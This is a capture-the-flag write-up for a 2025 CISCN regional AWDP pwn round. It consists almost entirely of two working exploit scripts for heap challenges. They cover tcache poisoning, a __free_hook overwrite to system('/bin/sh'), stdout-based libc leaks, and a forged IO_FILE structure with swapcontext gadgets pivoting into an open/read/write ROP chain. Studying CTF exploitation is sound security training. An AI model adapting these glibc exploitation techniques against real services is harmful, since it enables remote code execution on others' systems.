长城杯&ciscn 2025 浙江分区赛 AWDP Pwn

#!/usr/bin/env python

'''
    author: GeekCmore
    time: 2025-04-13 01:51:22
'''
from pwncli import *

filename = "pwn_patched"
libcname = "/home/botdebug/.config/cpwn/pkgs/2.31-0ubuntu9.17/amd64/libc6_2.31-0ubuntu9.17_amd64/lib/x86_64-linux-gnu/libc.so.6"
host = "127.0.0.1"
port = 1337
elf = context.binary = ELF(filename)
context.terminal = ['tmux', 'neww']
context.log_level = "debug"
if libcname:
    libc = ELF(libcname)
gs = '''
dir /home/botdebug/.config/cpwn/pkgs/2.31-0ubuntu9.17/amd64/glibc-source_2.31-0ubuntu9.17_all/usr/src/glibc/glibc-2.31/malloc
set debug-file-directory /home/botdebug/.config/cpwn/pkgs/2.31-0ubuntu9.17/amd64/libc6-dbg_2.31-0ubuntu9.17_amd64/usr/lib/debug
'''

def start():
    if args.GDB:
        return gdb.debug(elf.path, gdbscript = gs)
    elif args.REMOTE:
        return remote(host, port)
    else:
        return process(elf.path)

p = start()


def leak_address():
        if context.arch == 'i386':
            return u32(p.recv(4))
        else:
            return u64(p.recv(6).ljust(8, b'\x00'))

def leak_address2(timeout=0.1):
    contains = b"\x7f" if context.bits == 64 else b"\xf7"
    m = p.recvuntil(contains, timeout=timeout)
    if contains not in m:
        raise RuntimeError("Cannot get libc addr")
    if context.bits == 32:
        return u32_ex(m[-4:])
    else:
        return u64_ex(m[-6:])

def dbg():
    if args.AT:
        gdb.attach(p,gs)
    pause()


s = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda x , y : p.sendafter(x , y)
sla = lambda x , y : p.sendlineafter(x , y)
r = lambda x : p.recv(x)
ru = lambda x : p.recvuntil(x)
rl = lambda x : p.recvline(x)
ia = lambda : p.interactive()
op32 = make_packer(32, endian='big', sign='unsigned')  # opposite p32
op64 = make_packer(64, endian='big', sign='unsigned')  # opposite p64

# Your exploit here

def cmd(i):
    sla("", i)

def add(idx, size):
    cmd('1')
    ru("Index: ")
    sl(str(idx))
    ru("Size: ")
    sl(str(size))

    #......

def dele(idx):
    cmd('2')
    ru("Index: ")
    sl(str(idx))

def edit(idx,size, msg):
    cmd('3')
    ru("Index: ")
    sl(str(idx))
    ru("New size of content: ")
    s(size)
    ru("What do you want to say: ")
    s(msg)
    #......

def exp():
    add(0, 0x20)
    add(1, 0x200) # ub
    add(2, 0x20)
    add(3, 0x200) # ub
    add(4, 0x60) # hijack
    add(5, 0x200)
    add(6, 0x60)
    add(7, 0x20)
    add(10, 0x20) 
    add(11, 0x20) 
    add(12, 0x20) # another chunk for tcache poisoning
    add(13, 0x20)
    add(14, 0x30)

    # make chunk1 & chunk2 ub size
    # in chunk1: 2,3,4
    edit(0, b'A'*0x28+p64(0x4c1),b'aaa')
    edit(2, b'A'*0x28+p64(0x491),b'aaa')

    # ub: 1
    dele(1)

    # tcache: 4 -> 6
    dele(6)
    dele(4)

    # split ub chunk, make tcache chunk 4 fd -> main_arena
    add(1,0x1e0)
    add(6,0x200)
    add(4,0x40)


    # corrupt chunk msg length to partial overwrite fd
    edit(2, flat(f"%{0x1f0}c", 0x510),b"AAA" )
    edit(4, p64(0x510), b"A"*0x40 + p64(0x71) + b"\x98\x76")

    # corrupt stdout to leak address
    add(8, 0x60)
    add(9, 0x60)
    edit(9, b"AAA", p64(0xfbad1800)+p64(0)*3+b'\x00')
    libc_base = leak_address2() - 0x1ec980
    leak_ex2(libc_base)
    libc.address = libc_base

    # tcache poisoning attack free_hook
    dele(13)
    dele(12)
    edit(10, b'A'*0x30 + p64(0x222), b"AAA")
    edit(11, b'AAA', b"A"*0x20 + p64(0x31) + p64(libc.sym["__free_hook"]-8))
    
    # make free_hook = system
    add(15, 0x20)
    add(16, 0x20)
    edit(16, b"AAA", p64(libc.sym["system"]))

    #trigger free hook -> system("/bin/sh")
    edit(11, b'AAA', b"A"*0x20 + p64(0x31) + b"/bin/sh\x00")
    dele(15)

    
    dbg()
    ia()

while True:
    try:
        exp()
        sleep(0.5)
        p.close()
        p = start()
    except Exception:
        p.close()
        p = start()

#!/usr/bin/env python3
# Link: https://github.com/RoderickChan/pwncli
# Usage:
#     Debug : python3 exp.py debug elf-file-path -t -b malloc
#     Remote: python3 exp.py remote elf-file-path ip:port

from pwncli import *
import heap_payload_pb2

cli_script()


io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

# one_gadgets: list = get_current_one_gadget_from_libc(more=False)
CurrentGadgets.set_find_area(find_in_elf=False, find_in_libc=True, do_initial=False)



def cmd(i):
    sla("", i)


def add(size, msg):
    ru('>> ')
    code = heap_payload_pb2.HeapPayload()
    code.options = 1
    code.chunk_sizes.extend([size])
    # code.heap_chunks_id.extend([])
    code.heap_content = msg
    payload = code.SerializeToString()
    s(p32(len(payload)))
    s(payload)


def edit(idx,size,msg):
    ru('>> ')
    code = heap_payload_pb2.HeapPayload()
    code.options = 3
    code.chunk_sizes.extend([size])
    code.heap_chunks_id.extend([idx])
    code.heap_content = msg
    payload = code.SerializeToString()
    s(p32(len(payload)))
    s(payload)
    # ......


def show(idx):
    ru('>> ')
    code = heap_payload_pb2.HeapPayload()
    code.options = 4
    code.heap_chunks_id.extend([idx])
    payload = code.SerializeToString()
    s(p32(len(payload)))
    s(payload)
#
#
def dele(idx):
    ru('>> ')
    code = heap_payload_pb2.HeapPayload()
    code.options = 2
    code.heap_chunks_id.extend([idx])
    payload = code.SerializeToString()
    s(p32(len(payload)))
    s(payload)

def ex():
    code = heap_payload_pb2.HeapPayload()
    code.options = 5
    payload = code.SerializeToString()
    s(p32(len(payload)))
    s(payload)

for i in range(5):
    add(0x410, chr(ord('A')+i).encode())
add(0x400, b'H')
add(0x400, b'H')
add(0x400, b'A')
add(0x400, b'B')
add(0x400, b'C')

# leak libc
dele(1)
dele(3)
edit(0, 0x420, b"A"*0x420)
show(0)
libc_base = recv_current_libc_addr() - 0x203dd0
libc.address = libc_base
leak_ex2(libc_base)
edit(0, 0x420, b"A"*0x410 + p64(0) + p64(0x2c1))


# leak heap
edit(2, 0x430, b"A"*0x430)
show(2)
heap_base = u64(ru('\n',True)[-6:].ljust(8, b"\x00"))
leak_ex2(heap_base)
edit(2, 0x430, b"A"*0x410 + p64(0) + p64(0x421) + p64(libc_base+0x203f10) + p64(libc_base+0x203f10))


# make 2 tcache bin?
chunk8 = heap_base - 0x2b00
leak_ex2(chunk8)
dele(9)
dele(8)
edit(7, 0x418, b"A"*0x400 + p64(0) + p64(0x411) + p64(protect_ptr(chunk8, libc.sym['_IO_2_1_stdout_'])))
add(0x400, b"A")


target = libc.sym['system']
fake_IO_addr = libc.sym["_IO_2_1_stdout_"]    #写入fake_FILE_PLUS结构体的起始位置
svcudp_reply = next(libc.search(asm("""
mov r12, qword ptr [rdi+0x48]
mov rax, qword ptr [r12+0x18]
lea r14, qword ptr [r12+0x10]
mov dword ptr [r12+0x10], 0
mov rdi, r14
call qword ptr [rax+0x28]
"""),executable=True))
swapcontext = next(libc.search(asm("""
mov     rdx, r12
mov     rcx, qword ptr[rdx+0xE0]
fldenv  [rcx]
ldmxcsr dword ptr [rdx+0x1C0]
mov     rsp, qword ptr[rdx+0xA0]
mov     rbx, qword ptr[rdx+0x80]
mov     rbp, qword ptr[rdx+0x78]
mov     r12, qword ptr[rdx+0x48]
mov     r13, qword ptr[rdx+0x50]
mov     r14, qword ptr[rdx+0x58]
mov     r15, qword ptr[rdx+0x60]
""")))

leak_ex2(svcudp_reply)
leak_ex2(swapcontext)
pause()

FILE = IO_FILE_plus_struct()
FILE.flags = b' sh;'
FILE._IO_write_base = 0
FILE._IO_write_ptr = 1
FILE._IO_save_base =  fake_IO_addr + 0x40 # svcudp_reply r12
FILE._IO_save_end = fake_IO_addr + 0x38 # svcudp_reply rax
FILE.markers = swapcontext
FILE._lock = libc.bss(0x500)  # _lock = a writable address
FILE.chain = svcudp_reply  #控制的rip 可system可栈迁移
FILE._codecvt = fake_IO_addr  #wide_data -> vtable
FILE._wide_data = fake_IO_addr - 0x48 #wide_data 
FILE.vtable = libc.sym['_IO_wfile_jumps']# - 0x20 
payload = bytes(FILE)


pop_rdi_addr = libc_base + 0x10f75b
pop_rsi_addr = libc_base + 0x110a4d
pop_rax_addr = libc_base + 0xdd237
xchg_eax_edx_addr = libc_base + 0x00000000000b22ae  # xchg edx, eax ; mov eax, 0xf7000000 ; ret 0 
rops = flat(
    pop_rdi_addr,
    fake_IO_addr+0x1d8,
    pop_rsi_addr,
    0,
    libc.sym['open'],
    pop_rdi_addr,
    3,
    pop_rsi_addr,
    libc.bss(0x300),
    pop_rax_addr,
    0x100,
    xchg_eax_edx_addr,
    libc.sym['read'],
    pop_rdi_addr,
    1,
    pop_rsi_addr,
    libc.bss(0x300),
    pop_rax_addr,
    0x100,
    xchg_eax_edx_addr,
    libc.sym['write']
)

payload = payload_replace(payload, {
    0x40+0xa0: fake_IO_addr + 0x40 + 0xe8, # swapcontext rsp
    0x40+0xa8: next(libc.search(asm("ret"), executable=True)),# swapcontext rip
    0x40+0xe0: libc.bss(0x500),  # swapcontext rcx fldenv
    0x40+0xe8: rops,
    0x1d8: b"/flag\x00"
})



add(0x400, payload)
ex()


ia()